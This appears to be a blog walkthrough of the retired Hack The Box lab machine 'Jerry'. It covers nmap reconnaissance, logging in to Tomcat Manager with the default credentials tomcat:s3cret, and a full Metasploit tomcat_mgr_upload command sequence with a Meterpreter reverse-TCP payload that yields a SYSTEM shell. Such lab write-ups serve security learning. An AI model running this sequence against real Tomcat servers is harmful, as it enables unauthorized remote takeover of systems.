Hack The Box: Jerry

Hack The Box: Jerry

Jerry: Retired 17 November 2018

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This box was almost too easy.  This is the style of attack that is generally used to demonstrate how hacking and Metasploit work to folks new to the field.  This would be a great starter box for anyone.


I just started off with my standard NMAP command.

nmap --top-ports 100 -sV

Which revealed an Apache Tomcat Server running on port 8080.

NMAP Results

Browsing to the server reveals that this is a default installation.

Default Tomcat Landing Page

Further more, a few attempts at default Tomcat credentials reveals that the username/password combo is tomcat:s3cret which I found with a simply Google search.  This provided access to the Tomcat Manager page.

Tomcat Manager

Initial Access and Escalation

With access to the Tomcat Manager, owning this box is now trivial.  A little more Google searching will yield many guides on uploading a malicious WAR file to gain access to the OS.

I turned to Metasploit for this. Searching for "tomcat" gives me a a few options.

MetasploitSearch Results

I initially tried exploit/multi/http/tomcat_mgr_deploy but that did not work so I settled on exploit/multi/http/tomcat_mgr_upload

I used the Windows target and payload because the Tomcat Manager page indicated this this server is running Windows Server 2012 R2.

use exploit/multi/http/tomcat_mgr_upload
show options
show targets
set target 1
show payloads
set payload windows/meterpreter/reverse_tcp
set httppassword s3cret
set httpusername tomcat
set rhost
set rport 8080
set lhost
set lport 8080
show options

Dropping into a shell reveals that I am running as the system user.  Having prior knowledge of where flags are located on these boxes, I went straight there for the win.